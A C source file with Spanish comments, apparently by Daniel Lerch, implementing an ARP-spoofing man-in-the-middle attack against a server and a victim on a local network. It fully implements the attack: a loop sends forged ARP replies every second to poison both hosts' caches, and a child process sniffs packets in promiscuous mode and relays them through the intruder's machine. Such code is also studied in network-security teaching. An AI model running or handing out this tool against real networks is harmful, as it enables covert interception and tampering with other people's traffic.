/***************************************************************************** * * autor: Daniel Lerch * url: http://daniellerch.com * ****************************************************************************** * * --> Uso de ARP Spoofing en ataques MITM (Man in the middle): * * El intruso (I), envía mensajes ARP REPLY al servidor(S) y a la víctima (V), * haciéndole creer a (S) que es (V) y a (V) que es (S). The esta forma, * y reenviando los paquetes de (V) a (S) y de (S) a (V), el intruso se situa * entre ambos, realizando un ataque de hombre en el medio (mitm). * * * SERVIDOR VICTIMA * S_mac V_mac * S_ip V_ip * HOST A (S) _____ _____ (V) HOST V * \ / * \ / * \ / * | * | * (I) * INTRUSO * I_mac * I_ip * ******************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* Prototipos */ void send_arp_packet(char *src_mac, char *src_ip, char *dst_mac, char *dst_ip); void redirect_packet(char *I_mac, char *S_mac, char *S_ip, char *V_mac, char *V_ip ); char* getmacfromarpcache (char *ipaddr); char *inetaddr ( u_int32_t ip ); void send_packet (char* buffer, int len); /* Cabecera ARP */ struct arp_hdr { unsigned short int hardware; unsigned short int protocol; char hw_addr_len; char proto_addr_len; unsigned short operation; char src_addr[6]; char src_ip[4]; char dst_addr[6]; char dst_ip[4]; }; /***************************************************************************** * MAIN ******************************************************************************/ int main (int argc, char **argv) { struct ifreq if_data; int sockd; /* IPs y MACs */ unsigned char S_ip[16]; /* 4 */ unsigned char S_mac[16]; /* 6 */ unsigned char V_ip[16]; /* 4 */ unsigned char V_mac[16]; /* 6 */ unsigned char I_ip[16]; /* 4 */ unsigned char I_mac[16]; /* 6 */ u_int32_t local_ip; /* Verificación del número de parámetros */ if (argc!=3) { printf ("%s ip_server ip_victim\n", argv[0]); exit(EXIT_FAILURE); } /* Lectura de parámetros: IP del servidor y la víctima */ sscanf (argv[1], "%d.%d.%d.%d", &S_ip[0], &S_ip[1], &S_ip[2], &S_ip[3]); sscanf (argv[2], "%d.%d.%d.%d", &V_ip[0], &V_ip[1], &V_ip[2], &V_ip[3]); /* MAC del servidor */ sscanf (getmacfromarpcache(argv[1]) ,"%2X:%2X:%2X:%2X:%2X:%2X", &S_mac[0], &S_mac[1], &S_mac[2], &S_mac[3], &S_mac[4], &S_mac[5]); /* MAC de la víctima */ sscanf (getmacfromarpcache(argv[2]) ,"%2X:%2X:%2X:%2X:%2X:%2X", &V_mac[0], &V_mac[1], &V_mac[2], &V_mac[3], &V_mac[4], &V_mac[5]); /* Crea un socket para leer la interfaz de red*/ if ((sockd = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit (0); } /* Interfaz eth0 */ strcpy (if_data.ifr_name, "eth0"); /* MAC del intruso (local) */ if (ioctl (sockd, SIOCGIFHWADDR, &if_data) < 0) { perror ("ioctl(): SIOCGIFHWADDR \n"); exit(EXIT_FAILURE); } memcpy (I_mac, if_data.ifr_hwaddr.sa_data, 6); /* IP del intruso (local) */ if (ioctl (sockd, SIOCGIFADDR, &if_data) < 0) { perror ("ioctl(); SIOCGIFADDR \n"); exit(EXIT_FAILURE); } memcpy ((void *) &local_ip, (void *) &if_data.ifr_addr.sa_data + 2, 4); sscanf (inetaddr(local_ip), "%d.%d.%d.%d", &I_ip[0], &I_ip[1], &I_ip[2], &I_ip[3]); printf("\n\n %s\t\t%s \n" \ " (S) _____ _____ (V) \n" \ " \\ / \n" \ " \\ / \n" \ " \\ / \n" \ " | \n" \ " (I) \n" \ " %s \n\n\n", argv[1], argv[2], inetaddr(local_ip) ); /* printf ("S_ip: %d.%d.%d.%d\n", S_ip[0], S_ip[1], S_ip[2], S_ip[3]); printf ("V_ip: %d.%d.%d.%d\n", V_ip[0], V_ip[1], V_ip[2], V_ip[3]); printf ("I_ip: %d.%d.%d.%d\n", I_ip[0], I_ip[1], I_ip[2], I_ip[3]); printf ("S_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", S_mac[0], S_mac[1], S_mac[2], S_mac[3], S_mac[4], S_mac[5]); printf ("V_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", V_mac[0], V_mac[1], V_mac[2], V_mac[3], V_mac[4], V_mac[5]); printf ("I_mac: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n", I_mac[0], I_mac[1], I_mac[2], I_mac[3], I_mac[4], I_mac[5]); exit(0); */ /* Dos procesos */ int pid = fork(); if (pid < 0) { printf ("fork()"); exit(EXIT_FAILURE); } /* Proceso padre */ if (pid != 0) { while (1) { /* * Le decimos a la víctima que la IP del servidor corresponde a la * dirección mac del intruso. */ send_arp_packet (I_mac, S_ip, V_mac, V_ip); /* * Le decimos al servidor que la IP de la victima corresponde a la * dirección mac del intruso. */ send_arp_packet (I_mac, V_ip, S_mac, S_ip); sleep(1); } } /* Proceso hijo */ else { redirect_packet(I_mac, S_mac, S_ip, V_mac, V_ip ); } return 0; } /***************************************************************************** * ENVÍO DE PAQUETES ARP: * * Envía paquetes ARP (spooffing), permitiendo establecer las direcciones * MAC e IP origen y destino. * * src_mac: Dirección MAC del host origen. * src_ip: Dirección IP del host origen. * dst_mac: Dirección MAC del host destino. * dst_ip: Dirección IP del host destino. ******************************************************************************/ void send_arp_packet(char *src_mac, char *src_ip, char *dst_mac, char *dst_ip) { /* socket */ int sock; /* Tamaño del buffer capaz de contener un paquete ARP */ unsigned int buffer_size = sizeof(struct arp_hdr) + sizeof(struct ether_header); /* Buffer que contendrá el paquete ARP */ unsigned char buffer[buffer_size]; memset(buffer,0,buffer_size); /* Cabecera ethernet */ struct ether_header *eth = (struct ether_header *)buffer; /* Cabecera ARP */ struct arp_hdr *arp = (struct arp_hdr *)(buffer + sizeof(struct ether_header)); /* Dispositivo */ char dev[5]; strncpy(dev, "eth0", 5); /* Creación del socket */ if ((sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP)))==-1) { perror("socket()"); exit(EXIT_FAILURE); } /* Rellena la cabecera ethernet */ memcpy(eth->ether_dhost,dst_mac,ETHER_ADDR_LEN); memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN); eth->ether_type = htons(ETHERTYPE_ARP); /* Rellena la cabecera ARP */ arp->hardware = htons(ARPHRD_ETHER); arp->protocol = htons(ETH_P_IP); arp->hw_addr_len = 6; arp->proto_addr_len = 4; arp->operation = htons(ARPOP_REPLY); memcpy(arp->src_addr, src_mac,6); memcpy(arp->src_ip, src_ip, 4); memcpy(arp->dst_addr, dst_mac, 6); memcpy(arp->dst_ip, dst_ip, 4); /* Dispositivo utilizado "eth0" */ struct sockaddr addr; strncpy(addr.sa_data, dev, sizeof(addr.sa_data)); /* Envío del paquete ARP */ if ((sendto(sock, buffer, buffer_size, 0, &addr, sizeof(struct sockaddr)))==-1) { perror("sendto()"); exit(EXIT_FAILURE); } } /***************************************************************************** * REDIRECCIÓN DE PAQUETES: * * Realiza el trabajo de redirección del intruso, el MITM. * Recibe paquetes con una dirección IP válida y la dirección MAC del * intruso, y los reenvía al servidor o a la víctima, según corresponda. * * I_mac: Dirección MAC del intruso. * S_mac: Dirección MAC del servidor. * S_ip: Dirección IP del servidor. * V_mac: Dirección MAC de la víctima. * V_ip: Dirección IP de la víctima. ******************************************************************************/ void redirect_packet(char *I_mac, char *S_mac, char *S_ip, char *V_mac, char *V_ip ) { /* socket */ int sock; /* Buffer donde guardaremos el paquete */ char buffer[1500]; /* Cabecera ethernet */ struct ether_header *eth = (struct ether_header *) buffer; /* Cabecera IP */ struct iphdr *ip = (struct iphdr *) (buffer + sizeof(struct ether_header)); /* Cabecera TCP */ struct tcphdr *tcp = (struct tcphdr *)(buffer + sizeof(struct iphdr)); /* Datos */ char *data = (char*)(buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)); /* Socket de captura de todos los paquetes. (modo promiscuo) */ if((sock = socket(AF_INET, SOCK_PACKET, htons(0x3))) == -1) { perror("socket()"); exit(EXIT_FAILURE); } /* Bucle infinito de lectura de paquetes */ for(;;) { int buffer_size = 0; /* Lectura de paquetes */ read(sock, buffer, sizeof(buffer)); buffer_size = htons(ip->tot_len)+14; /* Paquete de V a S */ if ( (ip->saddr == *(unsigned long int*)V_ip) && (ip->daddr == *(unsigned long int*)S_ip) ) { if ( (*(unsigned long int*)I_mac != *(unsigned long int*)eth->ether_shost ) && (*(unsigned long int*)S_mac != *(unsigned long int*)eth->ether_dhost ) ) { memcpy(eth->ether_shost, I_mac, 6); memcpy(eth->ether_dhost, S_mac, 6); send_packet (buffer, buffer_size); } } /* Paquete de S a V */ if ( (ip->saddr == *(unsigned long int*)S_ip) && (ip->daddr == *(unsigned long int*)V_ip) ) { if ( (*(unsigned long int*)I_mac != *(unsigned long int*)eth->ether_shost ) && (*(unsigned long int*)V_mac != *(unsigned long int*)eth->ether_dhost ) ) { memcpy(eth->ether_shost, I_mac, 6); memcpy(eth->ether_dhost, V_mac, 6); send_packet (buffer, buffer_size); } } } } /****************************************************************************** * Obtiene una dirección MAC de la cache ARP a partir de una IP. * * param: char* ipaddr Dirección IP. * return: char* arpaddr Dirección ARP buscada. ******************************************************************************/ char* getmacfromarpcache (char *ipaddr) { char ip[100]; int type; int flags; static char arpaddr[100]; char mask[100]; char dev[100]; char line[200]; int pid; int status; FILE *fp; /* Abre el fichero de cache arp */ if ((fp = fopen("/proc/net/arp", "r")) == NULL) { perror("fopen()"); exit(1); } /* Obtiene la MAC asociada a una IP */ if (fgets(line, sizeof(line), fp) != NULL) { while (fgets(line, sizeof(line), fp)) { sscanf(line, "%s 0x%x 0x%x %100s %100s %100s\n", ip, &type, &flags, arpaddr, mask, dev); if (strcmp(ip, ipaddr)==0) return arpaddr; } } fclose(fp); /* Si la IP no se encuentra en la cache, refresca la tabla con un ping */ if ((pid=fork()) < 0) { perror("fork()"); exit(1); } if (pid==0) { execl("/bin/ping", "ping", "-c", "1", ipaddr, 0); exit(1); } wait(&status); if (status==0) return getmacfromarpcache(ipaddr); else { printf("ping error\n"); return ""; } } /****************************************************************************** * Función de utiliadad para pasar una ip en formato u_int32_t a un char ******************************************************************************/ char *inetaddr ( u_int32_t ip ) { struct in_addr in; in.s_addr = ip; return inet_ntoa(in); } /****************************************************************************** * Pone un array de bytes en la red ******************************************************************************/ void send_packet (char* buffer, int len) { struct sockaddr addr; char dev[5]; int sock; /* Dispositivo */ strncpy(dev, "eth0", 5); /* Creación del socket */ if ((sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP)))==-1) { perror("socket()"); exit(EXIT_FAILURE); } /* Dispositivo utilizado "eth0" */ strncpy(addr.sa_data, dev, sizeof(addr.sa_data)); /* Envío del paquete */ if ((sendto(sock, buffer, len, 0, &addr, sizeof(struct sockaddr)))==-1) { perror("sendto()"); exit(EXIT_FAILURE); } close (sock); }